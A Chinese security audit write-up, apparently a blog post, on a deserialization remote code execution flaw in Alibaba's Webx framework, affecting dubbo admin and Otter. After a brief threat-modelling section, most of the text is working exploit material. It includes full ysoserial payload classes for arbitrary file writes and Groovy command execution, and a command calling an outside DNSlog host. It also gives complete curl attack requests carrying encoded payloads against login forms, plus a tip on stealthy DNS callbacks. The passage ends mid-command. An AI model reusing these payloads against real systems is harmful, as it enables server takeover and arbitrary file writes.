代码审计-dubbo admin <=2.6.1远程命令执行漏洞

前置
- 输入材料
- 安全目标和需求
- 架构分析
供应链安全
- 源代码审查
- 依赖结构矩阵（Dependency Structure Matrices，DSM)
数据流
信任边界
数据存贮
- 威胁列表
otter manager
dubbo admin
修复方案

RoadMap

通过结构化的思维进行以软件程序为中心的威胁建模、枚举威胁、缓解威胁、验证来解决四个问题：具体业务是什么？哪些地方可能出现风险？如何规避解决？是否覆盖完整。通过前排了解（包括在fofa、zoomeyes、shodan的范围分析、wooyun历史漏洞材料输入），考量以下方面： - 数据流或代码布局； - 访问控制； - 现有的或内置的安全控制； - 非用户输入的入口点； - 与外部服务的集成; - 配置文件和数据源的位置; - 插件和定制化展现（在内置设计框架的情况下）。

输入材料

webx需要的文档清单，主要关注系统的通用安全缺陷安全设计文档： - 安全功能 - 默认安全设置 - 功能安全设计和实现 - 子系统间的攻击风险点分析或者安全需求考量点安全编码规范 - 开发涉及安全点的要求 - 代码review、培训涉及安全的记录安全测试文档： - 功能涉及安全点的过程用例和结果文档组件安全： - 涉及二进制、开源组件的版本记录，安全补丁维护记录

安全目标和需求

略

架构分析

webx 是Alibaba早期使用的一款建立在 Java Servlet API 基础上的通用 WEB 框架。用 Webx 搭建的应用可以运行在任何一个标准的 WEB 应用服务器上面：Tomcat、Jetty、Jboss、Weblogic。 Webx 是基于经典 MVC设计模式的 WEB 框架 Spring，并且可以被其它组件扩展。Webx 不仅能够用来开发高度可定制的 Web 应用，也能够用来帮助用户开发高度可扩展的非 WEB 的应用。作为一款阿里内部广泛使用的基础中间框架。其在SDLC开发流程阶段占据了一定的地位(参考《钉钉安全白皮书》应用安全章节介绍)，虽然它的官网已经不维护，也是先知社区通用软件的A类应用。企业内部框架设置默认值和默认扩展应该是最安全、最常用的选择，同时将会在线上自动去除开发工具、debug和trace组件，保证软件基线安全。

技术方案合久必分、分久必合，统一框架在互联网公司存在推广困难、开发人员技术固化、在微服务的架构下难以高效扩展的缺陷，出现逐步被spring cloud等组件替换或升级的趋势。但是仍需关注底层框架存在风险的场景，框架势必会影响众多增量和存量业务。对待存量业务的历史遗留问题，存在调用链分析技术手段不全、安全监控存在组件不清晰、整改过程存在难度大、范围广、修复指标不清晰的客观困难。安全推进过程中SDL团队没有足够人力物力跟进每一次安全需求和评审；而在开发阶段依赖于经过培训和宣讲后的code review需要具备一定的安全能力；而在日常安全运营介入较多的安全测试阶段，功能安全测试和安全功能的测试需要实施人员具备一定的代码阅读和赋能有效修复方案的能力。商业静态安全工具对于框架类支持有限，在未定制规则匹配模型、未设置防误报原语和自定义有效slink点和污染路径的情况下，扫描效果存在着高误报率、高漏报率的局限性；黑盒扫描对于post请求、参数带有权限验证、迭代扫描业务、日志路由收集不全、poc不灵活的前提下就不能主动发现更多场景的安全风险和漏洞；人工代码review可以显著发现业务安全问题如越权、信息泄露、遍历类问题，其他方面只能大致人工覆盖公司历史的主要安全问题和owasp top10列表；checklist检测适用于数据安全层面和归档信息，各阶段数据难以有效联动形成闭环运营。SDL有必要对组件和框架做一次安全设计和架构方面的评估，以webx为抓手，可以进行一次探索式地安全分析。 web处理架构简单参考下图:

供应链安全

遵循供应链安全检测标准，使用dependency check分析项目的依赖关系，匹配CWE对应NVD查询CVE。发现存在多处安全风险。

使用git alert功能进行分析，结果基本一致

此外经过mvn dependency tree人工审视发现org.codehaus.groovy:groovy-all:2.1.7引用实际存在CVE-2016-6814, CVE-2015-3253风险，利用存在客观难度，考虑到信息安全策略的三要素，遵循接受风险的策略。

源代码审查

对于框架类的使用白盒扫描器，可以用注解的方式打标避免误报和漏报，步骤为：为 Java 接口方法建模为资源泄漏建模为不可信（被污染的）数据源建模为不能流入被污染数据的方法（数据消费者）建模添加字段被污染或未被污染的断言抑制对方法的缺陷报告生成 Java Web 应用程序安全模型结合自定义规则进行排查，发现89项代码风险。

使用lgtm辅助分析：可以看到有两处xss、一处重定向需要进行验证。

依赖结构矩阵（Dependency Structure Matrices，DSM)

这处的作用是：可以直接快速查看关联关系，方便分析在注解、引用、参数调用时候的情况。

数据流

资产是指对用户有价值，被攻击目标。除了用户数据等直接资产，还包括系统，权限等可以被利用进一步攻击的非直接资产。资产在应用系统不同的位置和访问入口就形成了我们所说的攻击面，对攻击面防护部署不当，或者资产在不被信任的位置被访问，存储和使用都会导致设计缺陷和漏洞，这里主要指数据流。

信任边界

已确定的的信任边界为： - 外围防火墙、waf、应用认证的调用 - 数据库服务器信任来自dmz区的web应用程序的调用 - 前后端的数据传参流转数据流图：框架类的实现较为复杂，手工分析画了些图，略子系统分解：对系统的了解程度指明了对子系统的剖析程度，略

数据存贮

略

威胁列表

STRIDE威胁建模

依据STRIDE威胁建模方法，采用微软的Web 应用程序安全框架设计威胁列表：自顶向下逐步分解，按照大模块进行梳理,检查通用场景威胁列表和和原始安全需求，并对识别的威胁进行转移、缓解、消除、接受风险这样的缓解措施，这里不适合使用综合威胁办法，从设计和交付回顾角度未有效增强fuzz能力。

将以上结果纳入威胁漏洞库。

攻击树分析：

通过文档记录检查的方法，检索漏洞信息。利用攻击树体现漏洞、手段、将威胁进行裁剪细化，直达具体的行为、状态。构建合适and的or模型很麻烦，依靠于建模人员的知识广度。

基于Misuse_case的建模方法

略 ##软件baseline 略 #技术考量和漏洞报告还在使用ctrl f吗？使用ql查询语言分析序列化的点吧：

编写单元测试，通过flow进行跟进

##反序列化风险参阅技术文档《webx3_guide_book》的章节9.4.3.3. Field API，

利用：在com.alibaba.citrus.service.form.impl.FieldImpl存在反序列化功能。

由于encode方法是对对象序列化后进行zip压缩、base64编码、url编码，所以需要改造可以通过两种方式调用反序列化接口。以官方的turorial1为例，新增显式保存附件的功能，设置setAttachment对象，待反序列化时调用

为了验证效果我们开启组件过滤功能，form.xml设置

webx.xml设置只容许上传jpg文件。

通过抓包http请求，分析流量和参数，我们可以通过构造.attach请求实现反序列化效果。考虑到框架自动解析filedImpl，对于没有这种写法的网页，也是存在反序列化漏洞。还是以demo的注册页面为例，构造请求进行url一次编码，依旧生效：

POC：考虑到webx已经使用了commons-fileupload:1.3.1（还记得dependency check的结果吗？其实Apache Commons Fileupload Dos漏洞也是存在的），可以直接调用反序列化工具ysoserial，改造poc：在ysoserial的pom.xml增加citrus的引用改造FileUpload1.java为：

代码语言：javascript复制

package ysoserial.payloads;import org.apache.commons.codec.binary.Base64;import org.apache.commons.fileupload.disk.DiskFileItem;import org.apache.commons.io.output.DeferredFileOutputStream;import org.apache.commons.io.output.ThresholdingOutputStream;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import java.io.File;import java.io.IOException;import java.io.ObjectOutputStream;import java.io.OutputStream;import java.util.Arrays;import java.util.zip.Deflater;import java.util.zip.DeflaterOutputStream;import com.alibaba.citrus.util.StringEscapeUtil;import com.alibaba.citrus.util.io.ByteArray;import com.alibaba.citrus.util.io.ByteArrayOutputStream;/**
* Gadget chain:
* DiskFileItem.readObject()
* <p>
* Arguments:
* - copyAndDelete;sourceFile;destDir
* - write;destDir;ascii-data
* - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data
* <p>
* Yields:
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
* - pre 1.3.1 (  old JRE): write data to an arbitrary file
* - 1.3.1 : write data to a more or less random file in an arbitrary directory
*
* @author mbechler
*/@Dependencies({    "commons-fileupload:commons-fileupload:1.3.1",    "commons-io:commons-io:2.4"})@PayloadTest(harness = "ysoserial.payloads.FileUploadTest")@Authors({Authors.MBECHLER})public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {    public DiskFileItem getObject(String command) throws Exception {       String[] parts = command.split(";");        if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {            return copyAndDelete(parts[1], parts[2]);
       } else if (parts.length == 3 && "write".equals(parts[0])) {            return write(parts[1], parts[2].getBytes("US-ASCII"));
       } else if (parts.length == 3 && "writeB64".equals(parts[0])) {            return write(parts[1], Base64.decodeBase64(parts[2]));
       } else if (parts.length == 3 && "writeOld".equals(parts[0])) {            return writePre131(parts[1], parts[2].getBytes("US-ASCII"));
       } else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {            return writePre131(parts[1], Base64.decodeBase64(parts[2]));
       } else {            throw new IllegalArgumentException("Unsupported command "   command   " "   Arrays.toString(parts));
       }
   }    public void release(DiskFileItem obj) throws Exception {        // otherwise the finalizer deletes the file
       DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
       Reflections.setFieldValue(obj, "dfos", dfos);
       
       
   }    private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception {        return makePayload(0, copyTo, copyAndDelete, new byte[1]);
   }    // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
   private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception {        return makePayload(data.length   1, dir, dir   "/whatever", data);
   }    // writes data to an arbitrary file
   private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception {        return makePayload(data.length   1, file   "", file, data);
   }    private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {        // if thresh < written length, delete outputFile after copying to repository temp file
       // otherwise write the contents to repository temp file
       File repository = new File(repoPath);
       DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
       File outputFile = new File(filePath);
       DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
       OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
       os.write(data);
       Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
       Reflections.setFieldValue(diskFileItem, "dfos", dfos);
       Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);        
       //对diskFileItem进行处理，进行一次zip压缩，一次base64编码，进行一次url编码
       System.out.println( encode(diskFileItem) );        
       return diskFileItem;
   }    private static String encode(Object attachment) {        if (attachment == null) {            return null;
       }        try {
           ByteArrayOutputStream baos = new ByteArrayOutputStream();            // 1. 序列化
           // 2. 压缩
           Deflater def = new Deflater(Deflater.BEST_COMPRESSION, false);
           DeflaterOutputStream dos = new DeflaterOutputStream(baos, def);
           ObjectOutputStream oos = null;            try {
               oos = new ObjectOutputStream(dos);
               oos.writeObject(attachment);
           } finally {                if (oos != null) {                    try {
                       oos.close();
                   } catch (IOException e) {
                   }
               }               def.end();
           }            byte[] plaintext = baos.toByteArray().toByteArray();            // 3. base64编码
           return StringEscapeUtil.escapeURL(new String(Base64.encodeBase64(plaintext, false), "ISO-8859-1"));
       } catch (Exception e) {            return "!Failure: "   e;
       }
   }    public static void main(final String[] args) throws Exception {
       PayloadRunner.run(FileUpload1.class, args);
   }}

注意，通过DiskFileItem生成poc：

这时候的危害是：

FileUpload的1.3.1之前的版本配合JDK1.7之前的版本，能够达到写入任意文件的漏洞;
FileUpload的1.3.1之前的版本配合JDK1.7及其之后的版本，能够向任意目录写入文件;
FileUpload的1.3.1以及之后的版本只能向特定目录写入文件，此目录也必须存在。(文件的的命名也无法控制);

虽然经过url和base64、zip的编码转化，几乎不能被waf拦截，但是反序列功能可能被rasp安全功能识别黑名单，绕过方式为使用webx自带的组件可以构造webx的特定poc，利用AbstractFileItem继承FileItem的特性，抽象类的构造需要改一改（InMemoryFormFieldItem也可以）。

代码语言：javascript复制

package ysoserial.payloads;import org.apache.commons.codec.binary.Base64;import com.alibaba.citrus.service.upload.impl.cfu.AbstractFileItem;import com.alibaba.citrus.service.upload.impl.cfu.DiskFileItem;import org.apache.commons.io.output.DeferredFileOutputStream;import org.apache.commons.io.output.ThresholdingOutputStream;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import java.io.File;import java.io.IOException;import java.io.ObjectOutputStream;import java.io.OutputStream;import java.lang.reflect.Field;import java.util.Arrays;import java.util.zip.Deflater;import java.util.zip.DeflaterOutputStream;import com.alibaba.citrus.util.StringEscapeUtil;import com.alibaba.citrus.util.io.ByteArray;import com.alibaba.citrus.util.io.ByteArrayOutputStream;/**
* Gadget chain: DiskFileItem.readObject()
* <p>
* Arguments: - copyAndDelete;sourceFile;destDir - write;destDir;ascii-data - writeB64;destDir;base64-data -
* writeOld;destFile;ascii-data - writeOldB64;destFile;base64-data
* <p>
* Yields: - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) - pre 1.3.1 (  old
* JRE): write data to an arbitrary file - 1.3.1 : write data to a more or less random file in an arbitrary directory
*
* @author mbechler
*/@Dependencies( { "com.alibaba.citrus:citrus-common-util:3.2.4", "com.alibaba.citrus:citrus-service-upload:3.2.4" } )@PayloadTest( harness = "ysoserial.payloads.FileUploadTest" )@Authors( { Authors.MBECHLER } )public class Webx
   implements ReleaseableObjectPayload<DiskFileItem>{    public DiskFileItem getObject( String command )
       throws Exception    {       String[] parts = command.split( ";" );        if ( parts.length == 3 && "copyAndDelete".equals( parts[0] ) )
       {            return copyAndDelete( parts[1], parts[2] );
       }        else if ( parts.length == 3 && "write".equals( parts[0] ) )
       {            return write( parts[1], parts[2].getBytes( "US-ASCII" ) );
       }        else if ( parts.length == 3 && "writeB64".equals( parts[0] ) )
       {            return write( parts[1], Base64.decodeBase64( parts[2] ) );
       }        else if ( parts.length == 3 && "writeOld".equals( parts[0] ) )
       {            return writePre131( parts[1], parts[2].getBytes( "US-ASCII" ) );
       }        else if ( parts.length == 3 && "writeOldB64".equals( parts[0] ) )
       {            return writePre131( parts[1], Base64.decodeBase64( parts[2] ) );
       }        else
       {            throw new IllegalArgumentException( "Unsupported command "   command   " "   Arrays.toString( parts ) );
       }
   }    public void release( DiskFileItem obj )
       throws Exception    {        // otherwise the finalizer deletes the file
       DeferredFileOutputStream dfos = new DeferredFileOutputStream( 0, null );
       Reflections.getField( AbstractFileItem.class, "dfos" ).set( obj, dfos );        //Reflections.setFieldValue( obj, "dfos", dfos );   }    private static DiskFileItem copyAndDelete( String copyAndDelete, String copyTo )
       throws IOException, Exception    {        return makePayload( 0, copyTo, copyAndDelete, new byte[1] );
   }    // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
   private static DiskFileItem write( String dir, byte[] data )
       throws IOException, Exception    {        return makePayload( data.length   1, dir, dir   "/whatever", data );
   }    // writes data to an arbitrary file
   private static DiskFileItem writePre131( String file, byte[] data )
       throws IOException, Exception    {        return makePayload( data.length   1, file   "", file, data );
   }    private static DiskFileItem makePayload( int thresh, String repoPath, String filePath, byte[] data )
       throws IOException, Exception    {        // if thresh < written length, delete outputFile after copying to repository temp file
       // otherwise write the contents to repository temp file
       File repository = new File( repoPath );
       DiskFileItem diskFileItem =            new DiskFileItem( "test", "application/octet-stream", false, "test", 100000, false, repository );
       File outputFile = new File( filePath );        // 实现延迟写输出流，来自于common-io包
       DeferredFileOutputStream dfos = new DeferredFileOutputStream( thresh, outputFile );       OutputStream os = (OutputStream) Reflections.getFieldValue( dfos, "memoryOutputStream" );        //
       os.write( data );        // 反射机制覆盖written方法的内容
       Reflections.getField( ThresholdingOutputStream.class, "written" ).set( dfos, data.length );
       Reflections.getField( AbstractFileItem.class, "dfos" ).set( diskFileItem, dfos );
       ;        // Reflections.setFieldValue(diskFileItem, "dfos", dfos);
       Reflections.getField( AbstractFileItem.class, "sizeThreshold" ).set( diskFileItem, 0 );
       ;        // 对diskFileItem进行处理，进行一次zip压缩，一次base64编码，进行一次url编码
       System.out.println( encode( diskFileItem ) );        return diskFileItem;
   }    private static String encode( Object attachment )
   {        if ( attachment == null )
       {            return null;
       }        try
       {
           ByteArrayOutputStream baos = new ByteArrayOutputStream();            // 1. 序列化
           // 2. 压缩
           Deflater def = new Deflater( Deflater.BEST_COMPRESSION, false );
           DeflaterOutputStream dos = new DeflaterOutputStream( baos, def );
           ObjectOutputStream oos = null;            try
           {
               oos = new ObjectOutputStream( dos );
               oos.writeObject( attachment );
           }            finally
           {                if ( oos != null )
               {                    try
                   {
                       oos.close();
                   }                    catch ( IOException e )
                   {
                   }
               }               def.end();
           }            byte[] plaintext = baos.toByteArray().toByteArray();            // 3. base64编码
           return StringEscapeUtil.escapeURL( new String( Base64.encodeBase64( plaintext, false ), "ISO-8859-1" ) );
       }        catch ( Exception e )
       {            return "!Failure: "   e;
       }
   }    public static void main( final String[] args )
       throws Exception    {
       PayloadRunner.run( Webx.class, args );
   }}

生成经过序列化的数据，GeneratePayload传入的恶意数组为Webx write;/Users/nano/;hacker2：

将数据追加到_fm.u._0.s.attach，（重点，框架的form参数必须找到，如果有参数_fm.l._0.p，那么使用_fm.l._0.p.attach接口）

It works！这里使用。需要注意的是AbstractFileItem的注释：

代码语言：javascript复制

改进自commons-fileupload-1.2.1的同名类。解决了如下问题：原DiskFileItem类（以下简称原类）在解析form field的值时，会利用 content-type头部指定的charset值来决定其字符集编码。例如，下面的 multipart/form-data请求片段指定了myparam field值的字符集编码为 UTF-8： ----HttpUnit-part0-aSgQ2M
Content-Disposition: form-data; name="myparam"
Content-Type: text/plain; charset=UTF-8
然而，除了单元测试所用的httpunit/servletunit以外，几乎没有浏览器会在这里指定 content-type以及 charset。因此原类的 getString()总是得不到解码正确的字符串。
原类将内容的长度超过sizeThreshold的字段 —— 无论普通的form fields或是文件字段 —— 均存入文件 。这是一种优化。然而在某些情况下，我们希望关闭这种优化 —— 将 sizeThreshold设置成 0 ，以便让所有上传文件无论大小都被存入磁盘。然而仍然希望普通的form fields被保存在内存里。
创建文件时，希望能自动创建目录。
具体改进了如下内容：利用传入的charset参数，而不是content-type来解码form field。但该参数对于文件型字段无效。
删除getCharSet()方法，添加getCharset()和 setCharset()方法。
修改getString()方法，对form field使用指定的charset来解码。
添加keepFormFieldInMemory属性。
改进getOutputStream()方法，，当 keepFormFieldInMemory == true时，不将form fields写入文件，即将 threshold设置成Integer.MAX_VALUE。
利用File.createTempFile()来生成临时文件，删除原getTempFile() 方法，及相关的getUniqueId()方法、counter field、 tempFile field。
改进write()方法，当文件目录不存在时，创建之。
改进toString()方法，使之返回文件名，这种形式是为了方便页面引用FileItem对象。
Author:
Michael Zhou

代码语言：javascript复制

那么我们如果有权限可以控制创建目录了~此时的危害

1. webx的配合JDK1.7之前的版本，能够达到写入任意文件的漏洞; 2. webx配合JDK1.7及其之后的版本，能够向任意目录写入文件; 3. webx向自定义目录写文件，实现大文件拒绝式服务攻击。(文件命名的无法控制为upload_uid_.tmp，只能控制内容);

其他poc：以上是基于webx自带的jar包构造杀伤链，如果项目有其他依赖，可以适配poc实现远程命令执行。还记得供应链安全吗，前文我们说到有groovy 2.17，那我们就用2.3.9的poc吧！

代码语言：javascript复制

package ysoserial.payloads;import org.apache.commons.codec.binary.Base64;import org.codehaus.groovy.runtime.ConvertedClosure;import org.codehaus.groovy.runtime.MethodClosure;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.InvocationHandler;import java.util.Map;import java.util.zip.Deflater;import java.util.zip.DeflaterOutputStream;import com.alibaba.citrus.util.StringEscapeUtil;import com.alibaba.citrus.util.io.ByteArray;import com.alibaba.citrus.util.io.ByteArrayOutputStream;/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
Comparator.compare() (Proxy)
ConvertedClosure.invoke()
MethodClosure.call()
...
 		Method.invoke()
Runtime.exec()Requires:
groovy
*/@SuppressWarnings({"rawtypes", "unchecked"})@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})@Authors({Authors.FROHOFF})public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {    public InvocationHandler getObject(final String command) throws Exception {        final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");        final Map map = Gadgets.createProxy(closure, Map.class);        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
       System.out.println( encode( handler ) );        return handler;
   }    
   private static String encode( Object attachment )
   {        if ( attachment == null )
       {            return null;
       }        try
       {
           ByteArrayOutputStream baos = new ByteArrayOutputStream();            // 1. 序列化
           // 2. 压缩
           Deflater def = new Deflater( Deflater.BEST_COMPRESSION, false );
           DeflaterOutputStream dos = new DeflaterOutputStream( baos, def );
           ObjectOutputStream oos = null;            try
           {
               oos = new ObjectOutputStream( dos );
               oos.writeObject( attachment );
           }            finally
           {                if ( oos != null )
               {                    try
                   {
                       oos.close();
                   }                    catch ( IOException e )
                   {
                   }
               }               def.end();
           }            byte[] plaintext = baos.toByteArray().toByteArray();            // 3. base64编码
           return StringEscapeUtil.escapeURL( new String( Base64.encodeBase64( plaintext, false ), "ISO-8859-1" ) );
       }        catch ( Exception e )
       {            return "!Failure: "   e;
       }
   }    
   public static void main(final String[] args) throws Exception {
       PayloadRunner.run(Groovy1.class, args);
   }
}

还是在webx的demo上，执行命令Groovy1 ‘curl lzv3nf.ceye.io/2’，生成poc：

代码语言：javascript复制

/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* curl 'http://localhost:8082/form/register.htm' -H 'Connection: keep-alive' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'Origin: http://localhost:8082' -H 'Upgrade-Insecure-Requests: 1' -H 'DNT: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' -H 'Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://localhost:8082/form/register.htm' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en,en-US;q=0.9,zh-CN;q=0.8,zh;q=0.7' -H 'Cookie: user=user1; _ga=GA1.1.1710135517.1532404169; Idea-67b3b07=90cc4bf1-d62b-4083-a2a7-48e17a3dfecf; JSESSIONID=UKZN4BDW61-1SI1FVR44K5UX5UKSX7Z1-NT2D83QJ-0; tmp0=eNrz4A12DQ729PeL9/V3cfUxiKzOTLFSCvWO8jNxcgk3M9Q1DPY0dAsLMjHxNg2NMA31Do4wjzLU9QsxcrEwDvTSNVDSSS6xMjQ1MTU3NLA0MDEyMtVJTIYKGBoZmpsZWOrkVlgZ1HLHJxcXpcWX5Gen5kkaGKSnhSd7ZJX5ZpjoG5qHlYZBOVEAOdMovQ==' --data '_csrf_token=6Gbh06UEFCuV9YzHSilUf2&action=register_action&_fm.r._0.n=a&_fm.u._0.s.attach=eNrtVV1oHFUUPtmkNm3SJN2SSq0%2FAaM2kM5gqhVJa4yrMQuTpGZtleTp7szZnUnv3Dvee2ez22qfBH1T0JcigoiCf9VXBcVHxWgf%2BlBBUBGFIuKj%2BKhnfja7mpLGdwd29t6Z8333O985c%2B8Hv8MurWBKx8JSWOPoGosJIQ0zgRTW7OawLBrSTUfzTHgc1emv%2Fhge3bjwdgEKDgyGGFZRnWE8Rm1g2FljDWbHJuD2AoumHegzrQgN7M9ecCbqdokzraebkX4OAHpgX%2FLGSiAWQZoKbk4fJKGbyk4p2Wz9dM93Y1%2BPlDYK0ONAj2%2Fgri7SPNLeIjdZSMGkVHXLlR76LNZWXUnZaFkqFiYI0SpJ0UBl0CtxqWOFI3c%2BcOjP0e8PpwvtDdH40ltk9A%2FFrhUrRgWiPk2Cj96YXHcEEfstV3s%2BPZz61%2B8hxzoz%2F%2BJeqq5RMmTfgJ%2BCSsz1KeRIl72uFG6sFApjlzaH80z7ie9pzhPbyVpIs8oT3j%2F00PMvfXZ5Pk34pizhZ%2BAC7KHkDuTAtB55%2FIk3vqgdLPKVAvSXYY8XKBIbNLAMh0LWDMI4XIyTrliqnWIq8Y3yL8OwQi15A8k3yrfecqC36q4bOOGQTrut086Ws3Odtss414FB%2BxEpOTKRK3hKsSii4nY5mAgecGCXXBeo0skqDEVtAU9SG1KDFle3NCKV2PiBzixPcc0IsquQ3CIDo2QvH%2BPnGsdEzXKxhVYg7akk9kCs2pxthxLO9w9%2B%2B%2BHGNysXiSAlKzTIyO6wvHkuXTlz7dfbzj%2BexlHMYBoRSGsu4Nh39K3Hhvb98ldvUpW%2BiBk%2Fq0lEinZjE93YIJX57s730%2BkJa0tPeBd%2FKL7%2BwsTJXugtw4DGekjvFpg%2BW4bBfFbxg5pZhf58Snbdu7rDjhuvZJjpNN1h%2Bt1KzuTwG4vbhC%2Bvz8xOvfagaRs3Qgla%2F43jjuPOy0%2B%2FMnGSmnkO9nLJvDnmGqmol49cl4lL96y2lpHGignj0LR2%2Bp3JyS%2FXfks%2FiD7dEq4B%2B%2FpWpGj7H%2BjxCgGyb%2FC%2Bna44vihFjQUqgeKLU9cq5z8fSEyg3WXHFAn249vffPW9R1eezbD3b4OdrWqCuuaJGGP0EqyvpAjOoaLsS%2FHM8s%2BUfZlOCToHkLiO74BraV2wKsdusmM%2FfvTJpVC%2B264ozDwMoJNOHkvv4%2F8%2F2%2F5ZFDUN9Cd1blXQ0CZR7GwjS3S0qMBD6FzN6G%2FDVoi8
&event_submit_do_register=提交' --compressed
*/

至此，使用原生webx框架，证实命令执行漏洞poc生效。显示环境推荐使用推荐使用url2dns的poc。比wget或者curl -k方便和隐蔽。

调用链如下：

影响范围：

otter

我们花开两朵，各表一枝，以otter为例https://github.com/alibaba/otter 我们进行一次漏洞利用：https://github.com/alibaba/otter/wiki/Docker_QuickStart docker运行管理后台后进入容器验证是否成功docker exec -it 2a810fb0b8f7 /bin/sh 首先使用web自己的上传poc或者commons-fileupload:1.3.1的poc 登录处即可触发执行Webx write;/home/admin/manager/hack;hacker12233;

代码语言：javascript复制

curl -i -s -k  -X $'POST' 
   -H $'Host: 172.18.163.117:8080' -H $'User-Agent: User-As2s' -H $'Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://172.18.163.117:8080/login.htm' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 1840' -H $'DNT: 1' -H $'Connection: close' -H $'Cookie: JSESSIONID=TLFK8Z-PAK1SFTZXLRPS3Q19FZ22-MPLUA5QJ-1; OTTER_WEBX_JSESSIONID0=eNrz4A12DQ729PeL9/V3cfUxCK3OTLFSCvFx87aI0g1w9DYMdguJivAJCgg2DjS0dIsyMtL1DfAJdTQN9NI1VNJJLrEyNDUxtbAwMjI1NjMy1UlMRghYmBlZ6ORWWBnURgEAvvsbTw==' -H $'Upgrade-Insecure-Requests: 1' 
   -b $'JSESSIONID=TLFK8Z-PAK1SFTZXLRPS3Q19FZ22-MPLUA5QJ-1; OTTER_WEBX_JSESSIONID0=eNrz4A12DQ729PeL9/V3cfUxCK3OTLFSCvFx87aI0g1w9DYMdguJivAJCgg2DjS0dIsyMtL1DfAJdTQN9NI1VNJJLrEyNDUxtbAwMjI1NjMy1UlMRghYmBlZ6ORWWBnURgEAvvsbTw==' 
   --data-binary $'action=user_action&event_submit_do_login=1&_fm.l._0.n=admin&_fm.l._0.p=2&_fm.l._0.p.attach=eNqVUT1vU0EQXOxHEuI4BQhBR0ObO5EUSKTiy4qjBw2unGp9b%2B13%2BN1H7tbhhYL%2FQpTSVf4B%2FAd6CkqoaOjCHSYRLducRjs7mplb%2FoCbMcBj5YzARk9wgkJpDosoIoUTrUgsfOOwEtr4RqjpQrzQcT7QDQ2ZzJOz8cWy8%2FCwA9AG2P8PlaeTyAEVXymtfXrw%2FfOX449d2BpDT8eBC2agqanGcHdO5K%2Fx0L4i48LpIRRRv6ch9PMzqgPF2jXVEfQVqpqq584yWWboHD0rYV3VGCIleLt8iycoG7Qz%2BYaDtrP9EnpqxR6dejqGD9AtYaOaupjdMWyvTrSTGSf6rWl28hrNNXmaFv%2Fg9ZqwohAZZOnCTKLPnmTqxzgbZWavCpFX%2BQ9WB0l8M5B3UXPKmNWK1gNc%2Fh1Iswg50vLnvV9rG6OvuflEgF6Nak7h0e7u3p5nuI%2FeN1oha2elU0y8k%2FomNGlXMEXO0ps%2Bff1Wzia0E9lJsXP%2Bcrv%2F7bILN0ooPHL9J1Cbru7I2hmSWBltpUGLMwrvOiDb9jeeKMcx
' 
   $'http://172.18.163.117:8080/login.htm'

可以看到靶机已经生成.tmp文件。如果java版本小于等于6.是可以00截断生成任意文件。

可惜这个项目exclude了groovy，但是我们也有办法实现otter 项目远程命令执行，这是全部的包。

使用CommonsBeanutils1的payload，这里注意利用时需要保证jdk版本和jar包的版本要同docker最新镜像的版本一致。（ysoserial是1.9.2,需要降低为我们需要的1.8.3）。 payload将执行’touch /home/admin/manager/webapp/1.jsp’

代码语言：javascript复制

curl -i -s -k  -X $'POST' 
